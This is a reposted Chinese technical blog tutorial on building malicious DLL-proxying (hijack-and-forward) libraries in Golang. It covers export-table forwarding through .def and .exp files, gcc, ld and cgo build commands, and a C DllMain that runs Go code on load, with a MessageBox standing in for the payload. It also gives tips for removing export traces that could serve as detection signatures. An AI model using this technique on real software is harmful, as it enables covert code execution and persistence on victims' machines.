golang实现dll恶意劫持转发

原文: https://xz.aliyun.com/t/10143

本文章将讲解如何使用 Golang 来实现恶意的 dll 劫持转发

dll 转发概述

dll 转发: 攻击者使用恶意dll替换原始dll,重命名原始dll并通过恶意dll将原先的功能转发至原始dll。

该恶意dll一般用来专门执行攻击者希望拦截或修改的功能,同时将所有其他功能转发至原始dll

一般可与 dll 劫持共同使用。

dll 搜索顺序

首先我们来看一下 Windows 系统中 dll 的搜索顺序

上图中攻击者可以控制的就是标准搜索顺序中的步骤,根据情况的不同我们可以选择不同的方式来进行 dll 劫持

步骤

要实现 dll 转发,一般需要以下一些步骤

  1. 解析原始 dll 的导出表
  2. 收集出要拦截修改的函数
  3. 在恶意 dll 中实现拦截功能
  4. 将所有其他函数转发至原始 dll 上
  5. 重命名原始 dll
  6. 使用原始 dll 的名称重命名恶意 dll

PE 文件导出表

什么是 PE 导出表?

导出表就是当前的 PE 文件提供了哪些函数给别人调用。

并不只有 dll 才有导出表,所有的 PE 文件都可以有导出表,exe 也可以导出函数给别人使用,一般情况而言 exe 没有,但并不是不可以有

导出表在哪里?

PE 文件格式在这里并不进行详细介绍,感兴趣的读者可以自行查阅相关资料。

PE 文件包含 DOS 头和 PE 头,PE 头里面有一个扩展头,这里面包含了一个数据目录(包含每个目录的VirtualAddress和Size的数组。目录包括:导出、导入、资源、调试等),从这个地方我们就能够定位到导出表位于哪里

导出表的结构

接下来我们看看导出表的结构

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;      //时间戳.  编译的时间. 把秒转为时间.可以知道这个DLL是什么时候编译出来的.
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;           //指向该导出表文件名的字符串,也就是这个DLL的名称  辅助信息.修改不影响  存储的RVA 如果想在文件中查看.自己计算一下FOA即可.
    DWORD   Base;           // 导出函数的起始序号
    DWORD   NumberOfFunctions;     //所有的导出函数的个数
    DWORD   NumberOfNames;         //以名字导出的函数的个数
    DWORD   AddressOfFunctions;     // 导出的函数地址的 地址表  RVA  也就是 函数地址表  
    DWORD   AddressOfNames;         // 导出的函数名称表的  RVA      也就是 函数名称表
    DWORD   AddressOfNameOrdinals;  // 导出函数序号表的RVA         也就是 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

我们使用cff explorer看看dll的导出表

可惜从这个图上我们并不能观察出导出的函数是否是一个转发函数,我们使用16进制编辑器打开看看

从这个图上我们可以看到 add 导出函数前面还有一些东西 _lyshark.dll._lyshark.add.add

这个标识告诉我们这个 dll 的导出函数 add 实际上位于 _lyshark.dll 上

dll 转发如何工作

当我们调用转发函数时,Windows加载程序将检查该 dll(即恶意 dll)所引用的 dll(即原始dll)是否已加载,如果引用的 dll 还没有加载到内存中,Windows加载程序将加载这个引用的 dll,最后搜索该导出函数的真实地址,以便我们调用它

dll 转发(dll 劫持)的一般实现

我们能在网上搜索到一些 dll 转发(dll 劫持)的实现,基本是使用微软 MSVC 编译器的特殊能力4

MSVC 支持在 cpp 源文件中写一些链接选项,类似

#progma comment(linker, "/export:FUNCTION_NAME=要转发的dll文件名.FUNCTION_NAME")

列出导出函数

下面我们采用 MSVC 对 zlib.dll 实现一个样例5

首先我们能使用 DLL Export Viewer 工具查看并导出一个 dll 的导出表

然后我们点击 View > HTML Report - All Functions

我们可以得到一个类似于下面的 html

给 MSVC 链接器生成导出指令

我们现在可以把这个 html 转化为 MSVC 的导出指令5

"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse

def main():
    parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
    parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
    args = parser.parse_args()
    report = args.report

    try:
        f = open(report)
        page = f.readlines()
        f.close()
    except:
        print("[-] ERROR: open('%s')" % report)
        return

    for line in page:
        if line.startswith("<tr>"):
            cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
            function_name = cols[1]
            ordinal = cols[4].split(' ')[0]
            dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
            print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if __name__ == '__main__':
    main()

然后我们可以获得这样的输出

下面的具体怎么生成不再进行介绍,如果感兴趣可以查看 Windows Privilege Escalation - DLL Proxying基于AheadLib工具进行DLL劫持

dll 转发(dll 劫持)的 mingw 实现

如果有的人和我一样,不喜欢安装庞大的 Visual Studio,习惯用 gcc mingw 来完成,我们也是能够完成的

def 文件介绍

这里我们使用 gcc 编译器和 mingw-w64(这个是mingw的改进版)

此处我们不再采用直接把链接指令写入代码源文件的方式,而是采用模块定义文件 (.Def)

模块定义 (.def) 文件为链接器提供有关导出、属性和有关要链接的程序的其他信息的信息。.def 文件在构建 DLL 比较有用。详情可参见 MSDN Module-Definition (.Def) Files

当然,我们采用这种方式的原因是因为 .def 能被 mingw-w64 所支持,我们要做的就是在.def文件中写入我们要转发到原始dll的所有函数的列表,并在编译dll的时候在GCC中设置该 .def 文件参与链接。

简单的示例

实现流程

这里我们采用一个简单的样例,我们采用常规写了一个 dll, 该 dll 文件导出一个 add 函数,该导出函数的作用就是把传入的两个数值进行相加

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)
{
    return x + y;
}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{

    return true;
}

我们将它编译成 dll 文件

gcc add.cpp -shared -o add.dll

然后我们写一个主程序来调用它

#include <stdio.h>
#include <Windows.h>

typedef int(*lpAdd)(int, int);

int main(int argc, char *argv[])
{
    HINSTANCE DllAddr;
    lpAdd addFun;

    DllAddr = LoadLibraryW(L"add.dll");

    addFun = (lpAdd)GetProcAddress(DllAddr, "add");
    if (NULL != addFun)
    {
        int res = addFun(100, 200);
        printf("result: %d \n", res);
    }

    FreeLibrary(DllAddr);
    system("pause");
    return 0;
}

然后我们进行编译执行

gcc main.cpp -o main.exe
./main.exe

可以看到如下输出

然后我们将我们刚才生成的 add.dll 重命名为 _add.dll

然后创建一个 .def 文件

functions.def

LIBRARY _add.dll
EXPORTS
    add = _add.add @1

LIBRARY _add.dll 代表转发到 _add.dll,下面的 EXPORTS 定义了需要转发的函数,= 前面是导出函数名,= 后面的 _add 代表要转发到的 dll 的名称,add 代表要转发到 _add.dll 的哪一个导出函数,关键在于 @1

我们可以拿 DLL Export ViewerStudyPE+ 等工具看看

我们可以看到 Ordinal, 这个是导出函数序号,就是 @1 的来源,如果有多个导出函数,依次写下来即可

然后编写我们的恶意 dll

#include <Windows.h>

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{

    return true;
}

如上所示,当然,这只是一个样例,所以我并没有写下任何恶意代码

现在可以编译我们的恶意dll了

gcc -shared -o add.dll evil.cpp functions.def
  1. -shared表示我们要编译一个共享库(非静态)
  2. -o指定可执行文件的输出文件名
  3. add.dll是我们想给我们的恶意 dll 起的名字
  4. evil.cpp是我们在其中编写恶意 dll 代码的 .cpp 文件

如果编译成功的话,你应该能在同目录下找到刚刚生成好的恶意 dll(add.dll)

我们再使用 PE 查看工具看看导出表

可以看到中转输出表上已经有了

注意我们这个 dll 并没有写任何功能性代码,让我们使用刚才编译的 main.exe 测试一下

可以发现功能转发正常

当然,当导出函数过多的时候我们不可能一个个自己去导出表里抄,可以写一个脚本自动化完成这个工作,不过这不是我们本文的重点,或者你可以使用 mingw-w64 里面自带的 gendef.exe 工具

.def 和 .exp 文件

exp

文件是指导出库文件的文件,简称导出库文件,它包含了导出函数和数据项的信息。当LIB创建一个导入库,同时它也创建一个导出库文件。如果你的程序链接到另一个程序,并且你的程序需要同时导出和导入到另一个程序中,这个时候就要使用到exp文件(LINK工具将使用EXP文件来创建动态链接库)。

def

def文件的作用即是,告知编译器不要以microsoft编译器的方式处理函数名,而以指定的某方式编译导出函数(比如有函数func,让编译器处理后函数名仍为func)。这样,就可以避免由于microsoft VC++编译器的独特处理方式而引起的链接错误。

从上面的介绍中我们可以看出 .exp 文件可以用在链接阶段,所以我们可以先使用 dlltool 工具将 .def 转化为 .exp 文件,然后编译 evil.cppevil.o 再手动进行链接。

gcc -c -O3 evil.cpp
dlltool --output-exp functions.exp --input-def functions.def
ld -o add.dll functions.exp evil.o

额外的说明

当然,你也可以通过 clang 来完成这项工作

clang -shared evil.cpp -o add.dll -Wl"/DEF:functions.def"

我们如何用 Golang 来实现转发 dll

Golang 提供了官方的动态链接库(dll)编译命令 go build -buildmode=c-shared -o exportgo.dll exportgo.go,根据我们前面铺垫的基础,现阶段所需要思考的是:如何把 .def 文件或 .exp 文件也带入进去?

下文我将用 gcc 作为 cgo 的外部链接器,clang也可以按照同样的思想

尝试与思考

为什么不考虑利用cgo直接在c代码中写 #progma comment(linker, '/EXPORT'),这个的主要原因是 Golang 的 cgo 能力现阶段只支持 clang 和 gcc,MSVC编译器并不支持9

让我们现在来思考一下整个编译流程:

  • 预处理
    预处理用于将所有的#include头文件以及宏定义替换成其真正的内容
  • 编译
    将经过预处理之后的程序转换成特定汇编代码(assembly code)的过程
  • 汇编
    汇编过程将上一步的汇编代码转换成机器码(machine code),这一步产生的文件叫做目标文件,是二进制格式。gcc汇编过程通过as命令完成,这一步会为每一个源文件产生一个目标文件
  • 链接
    链接过程将多个目标文以及所需的库文件(.so等)链接成最终的可执行文件(executable file)。

前三步都是在将代码处理成二进制机器码,而我们所要操控的导出表是属于文件格式的一部分,所以应该是需要在链接这个步骤做文章

借助这个思路,我们对上面的样例做做文章。

首先把我们的 evil.cpp 编译汇编成目标文件,然后链接时加入额外控制。

# evil.cpp 编译汇编成 evil.o 目标文件(下面的 -O3 是为了启用 O3 优化,可选)
gcc -c O3 evil.cpp
# 和 .def 文件一起进行链接
ld -o add.dll functions.def evil.o

或者利用上文中先将 .def 转化成 .exp 再进行手动链接,我们均能得到我们预期的转发dll。

golang 中的实现

我们的目的是需要把 .def 或 .exp 文件放入整个编译流程的链接环节中去。

首先我们需要先了解一下 cgo 的工作方式11:它用c编译器编译c,用Go编译器编译Go,然后使用 gcc 或 clang 将他们链接在一起,我们甚至能够通过 CGO_LDFLAGS 来将flag传递至链接器。

在我们Golang程序编译命令中,相信大家使用过 -ldflags="" 选项,这个其实是 go tool link 带来的,go build 只是一个前端,Go 提供了一组低级工具来编译和链接程序,go build只需收集文件并调用这些工具。我们可以通过使用-x标志来跟踪它的作用。不过这里我们并不关心这个。

我们去看看 go tool link的说明书,帮助文件里面提到了

-extld linker
    Set the external linker (default "clang" or "gcc").
-extldflags flags
    Set space-separated flags to pass to the external linker.

-extld 一般我们不需要更改,也就是我们只需要想办法修改 -extldflags 让链接过程带入我们的 .def 或 .exp 文件即可。

但是,我们刚才使用 ld 编译的时候,都是直接将 .def 或 .exp 文件传入的,如何通过 ld 的参数传入呢?

gcc 的链接选项 里,有一个选项是 -Wl,用法为 -Wl,option,它的作用就是将-Wl后的option作为标识传递给 ld 命令,如果 option 中包含 ,,则根据 , 拆分为多个标识传递给 ld,可能看到这里你对于这个选项还是一知半解,下面举个例子

gcc -c evil.cpp
ld -o add.dll functions.def evil.o

等同于

gcc -shared -o add.dll -Wl,functions.def evil.cpp

等同于

gcc -shared -Wl,functions.def,-o,add.dll evil.cpp

也就是 -Wl 后面的东西都会传递链接器

所以我们将 .def 或 .exp 文件利用 -Wl 选项设置到 -extldflags 上去即可。

所以我们现在可以创建一个样例 go 程序用来编译 dll

main.go

package main

import "C"

func main() {
    // Need a main function to make CGO compile package as C shared library
}

然后进行编译

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def" main.go

注意:-Wl后面要写上 .def 或 .exp 文件的绝对路径,主要是由于调用程序时候的工作路径问题,只需要记住这一点即可。

现在我们得到了一个 golang 编译出来的转发dll

当然,你可能会对那个 _cgo_dummy_export 导出函数比较疑惑,这个是golang编译的dll所特有的,如果你想要去除掉它,可以使用 .exp 来进行链接

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp" main.go

dll 转发的总结

其实 cgo 主要的编译手段为:用c编译器编译c,用Go编译器编译Go,然后使用 gcc 或 clang 将他们链接在一起。我们所需要做的只是将它们粘合在一起。

在 Golang 中如何实现恶意 dll

我们已经知道了该怎么在 Golang 中实现转发 dll,接下来我们可以尝试实现恶意 dll 了。

init 写法

如果你看这篇文章,相信你已经知道 Go 会默认执行包中的 init() 方法。所以我们可以把我们的恶意代码定义到这个函数里面去。

一般的dll实现方式为

package main

func Add(x, y int) int {
    return x + y
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

我们只需要加上一个 init 方法,并且让恶意代码异步执行即可(防止 LoadLibrary 卡住)

package main

func init() {
    go func() {
        // 你的恶意代码
    }()
}

func Add(x, y int) int {
    return x + y
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

对于 windows dll 更细粒度的控制

对于windows dll,DllMain11 是一个可选的入口函数

对于 DllMain 的介绍,我这里就不再赘述了,感兴趣的可以自行进行查询

系统是在什么时候调用DllMain函数的呢?静态链接或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。DllMain的第二个参数fdwReason指明了系统调用Dll的原因,它可能是::

  • DLL_PROCESS_ATTACH: 当一个DLL文件首次被映射到进程的地址空间时
  • DLL_PROCESS_DETACH: 当DLL被从进程的地址空间解除映射时
  • DLL_THREAD_ATTACH: 当进程创建一线程时,第n(n>=2)次以后地把DLL映像文件映射到进程的地址空间时,是不再用DLL_PROCESS_ATTACH调用DllMain的。而DLL_THREAD_ATTACH不同,进程中的每次建立线程,都会用值DLL_THREAD_ATTACH调用DllMain函数,哪怕是线程中建立线程也一样
  • DLL_THREAD_DETACH: 如果线程调用了ExitThread来结束线程(线程函数返回时,系统也会自动调用ExitThread),系统查看当前映射到进程空间中的所有DLL文件映像,并用DLL_THREAD_DETACH来调用DllMain函数,通知所有的DLL去执行线程级的清理工作

这些流程根据你自己的需求来进行控制。当然,如果你有过 Windows 编程经验,应该对这个比较熟悉。

Golang 是一个有 GC 的语言,需要在加载时运行 Golang 本身的运行时,所以暂时没有太好的方案在 Golang 中实现 DllMain 让外层直接调用入口点,因为没有初始化运行时。

我们可以变相通过 cgo 来实现这个目的。总体思路为,利用 C 来写 DllMain,通过 c 来调用 Golang 的函数

以下示例代码大多来自 github.com/NaniteFactory/dllmain

c 实现 DllMain

首先我们可以在 c 中定义我们自己的 DllMain

#include "dllmain.h"

typedef struct {
    HINSTANCE hinstDLL;  // handle to DLL module
    DWORD fdwReason;     // reason for calling function // reserved
    LPVOID lpReserved;   // reserved
} MyThreadParams;

DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
    MyThreadParams params = *((MyThreadParams*)lpParam);
    OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
    free(lpParam);
    return 0;
}

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL,  // handle to DLL module
    DWORD _fdwReason,     // reason for calling function
    LPVOID _lpReserved)   // reserved
{
    switch (_fdwReason) {
    case DLL_PROCESS_ATTACH:
        // Initialize once for each new process.
        // Return FALSE to fail DLL load.
        {
            MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams));
            lpThrdParam->hinstDLL = _hinstDLL;
            lpThrdParam->fdwReason = _fdwReason;
            lpThrdParam->lpReserved = _lpReserved;
            HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL);
            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
        }
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}

注意此处最好使用 CreateThread 来进行外部 Go 函数的调用,不然可能因为初始化 Go 运行时的问题导致死锁。

我们在该代码中 DLL_PROCESS_ATTACH 时异步调用了 OnProcessAttach,我们在 Golang 中实现这个恶意函数

Golang 恶意代码

我们现在来定义我们的恶意代码实现

package main

import "C"

import (
    "unsafe"
    "syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
    ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
        uintptr(flags))

    return int(ret)
}

// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
    const (
        NULL  = 0
        MB_OK = 0
    )
    return MessageBox(NULL, caption, title, MB_OK)
}

// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
    hinstDLL unsafe.Pointer, // handle to DLL module
    fdwReason uint32, // reason for calling function
    lpReserved unsafe.Pointer, // reserved
) {
    MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

此处我们实现了恶意函数 OnProcessAttach,只是弹个窗来模拟恶意代码。

组合 Golang 和 c 编译

现在我们有了 .go 和 .c,还需要把它们两个粘合起来

第一种方案

你可以通过 cgo 的一般写法,在 .go 的注释中把 c 代码拷贝进去,例如

package main

/*
#include "dllmain.h"

typedef struct {
    HINSTANCE hinstDLL;  // handle to DLL module
    DWORD fdwReason;     // reason for calling function // reserved
    LPVOID lpReserved;   // reserved
} MyThreadParams;

DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
    MyThreadParams params = *((MyThreadParams*)lpParam);
    OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
    free(lpParam);
    return 0;
}
...c源码文件
*/

import "C"

import (
    "unsafe"
    "syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
    ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
        uintptr(flags))

    return int(ret)
}
...go 源码文件
第二种方案

或者你也可以给 .c 写一个头文件 .h,然后在 .go 中导入这个头文件,在 go build 的时候 Go 编译器会默认找到该目录下的 .c、.h、.go 一起编译。

比如你可以创建一个 .h 文件

#include <windows.h>

void OnProcessAttach(HINSTANCE, DWORD, LPVOID);

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL,  // handle to DLL module
    DWORD _fdwReason,     // reason for calling function
    LPVOID _lpReserved    // reserved
);

然后在 .go 中引用它

package main

/*
#include "dllmain.h"
*/
import "C"

import (
    "unsafe"
    "syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
    ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
        uintptr(flags))

    return int(ret)
}

然后就可以一起编译了。

导出表的问题

确实,现在我们可以编译出恶意的转发dll了,但是我们可能会发现导出表里面其实有很多奇奇怪怪的导出函数

这些导出函数可能会成为某些特征

我们的原始dll并没有这些导出函数,但是生成的转发dll这么多奇怪的导出函数该怎么去掉?

我们可以同样可以使用上文的 exp 文件来解决,它就是一个导出库文件,来定义有哪些导出的。

根据上文的方法我们使用 dlltool 从 def 文件生成一个 exp 文件,然后编译时加入链接即可。

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w"

ldflags 里面的新增的 -s -w 只是为了减小一点体积去除一下符号,可选。

最后的最后

仓库相关示例已经上传至 github.com/akkuman/go-dll-evil

感兴趣的可以查看。

posted @ 2023-02-08 21:41  jiftle  阅读(214)  评论(0编辑  收藏  举报